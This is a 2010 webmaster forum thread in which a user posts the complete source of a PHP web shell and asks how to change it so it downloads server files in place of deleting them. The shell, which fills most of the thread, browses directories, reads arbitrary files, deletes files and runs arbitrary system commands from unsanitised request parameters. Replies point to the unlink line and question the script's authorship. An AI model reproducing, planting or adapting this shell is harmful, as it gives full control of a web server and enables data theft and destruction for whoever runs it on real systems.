Results 1 to 5 of 5
-
29th Oct 2010, 06:59 PM #1OPProbation
Simple PHP Shell script by litewarez
Hi theres im using this script that is by litewarez, but i have a problem, i notice that the script can delete files in the server, but i dont wnat to delete, i want to download this files to me, how can i do it?
Here is the script.
I tried to post another section, but i cant create a threat or topic
Code:<STYLE type="text/css"> <!--a{text-decoration:none}--> </STYLE> <body bgcolor=black> <font color=white face="courier" size=2> <div align=right>//by phr0z</div> PHP shell in <?php echo $_SERVER['DOCUMENT_ROOT'].$_SERVER['PHP_SELF'] ?> <br> Server <?php echo $_SERVER['SERVER_NAME']; ?> <br><hr> <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method=GET> Navigate to: <input type="text" name="dir" value="<?php echo $dir ?>" size=50> </form> <form action="<?php print $_SERVER['PHP_SELF']; ?>" method=GET> Execute command: <input type="text" name="shell" size=45> </form> <?php if($_REQUEST['remove'] != NULL) unlink($_REQUEST['remove']); if($_REQUEST['file'] != NULL) { $fp = fopen($_REQUEST['file'], "rb"); if($fp == NULL) { echo 'Can\'t open file '. $_REQUEST['file']; die; } echo '<br><br><pre>'; fpassthru($fp); } if($_REQUEST['dir'] != NULL) { $dir = $_REQUEST['dir']; if(is_dir($dir)) { if($dh = opendir($dir)) echo '<h3>Files in '. $dir .'</h3><br><br>'; while(($file = readdir($dh)) !== false) if(is_dir($dir.'/'.$file)) echo '<a href="'. $_SERVER['PHP_SELF'] .'?dir='. $dir .'/'. $file .'">'. $file .'</a><br>'; else { echo '<a href="'. $_SERVER['PHP_SELF'] .'?file='. $dir .'/'. $file .'">'. $file .'</a>'; echo ' [<a href="'. $_SERVER['PHP_SELF'] .'?dir='. $dir .'&remove=' . $dir .'/'. $file .'">'. 'DEL</a>]<br>'; } closedir($dh); } else echo '<br><br>Directory '. $dir .' is invalid.'; } if($_REQUEST['shell'] != NULL) { echo '<br><br><pre>'; system($_REQUEST['shell']); } ?>
bonucci Reviewed by bonucci on . Simple PHP Shell script by litewarez Hi theres im using this script that is by litewarez, but i have a problem, i notice that the script can delete files in the server, but i dont wnat to delete, i want to download this files to me, how can i do it? Here is the script. I tried to post another section, but i cant create a threat or topic <STYLE type="text/css"> <!--a{text-decoration:none}--> </STYLE> <body bgcolor=black> <font color=white face="courier" size=2> Rating: 5
-
29th Oct 2010, 07:04 PM #2Retired NinJaWebsite's:
loledhard.comusually unlink delete the files so chk out this line. Havent really read the code. But this unlink() function deletes the file for sure
PHP Code:unlink($_REQUEST['remove']);
You don't hate Justin bieber.You hate the fact you ain't Justin Bieber!
-
29th Oct 2010, 07:04 PM #3BannedWebsite's:
KWWHunction.com<div align=right>//by phr0z</div>
Are you sure its by litewarez ?
-
29th Oct 2010, 07:30 PM #4OPProbation
Well, i diddnt notice this, but was he that publish this script here
-
31st Oct 2010, 05:28 AM #5Banned
Which Comman need to use to del?
Sponsored Links
Thread Information
Users Browsing this Thread
There are currently 1 users browsing this thread. (0 members and 1 guests)
Similar Threads
-
Help me with simple VB Script
By Xeon in forum Web Development AreaReplies: 0Last Post: 16th Sep 2012, 10:06 AM -
[Selling] Litewarez (Script,Domain)
By litewarez in forum Completed TransactionsReplies: 18Last Post: 3rd Jul 2010, 06:55 AM -
Litewarez Feture list (Reason why your site belongs on Litewarez)
By litewarez in forum Webmaster DiscussionReplies: 42Last Post: 15th May 2010, 05:58 PM -
Litewarez script :)
By litewarez in forum Forum and DDL DiscussionReplies: 19Last Post: 11th May 2010, 04:27 AM -
Simple PHP Shell script
By litewarez in forum Webmaster ResourcesReplies: 8Last Post: 30th Mar 2009, 11:16 PM
themaPoster - post to forums and...
Version 5.22 released. Open older version (or...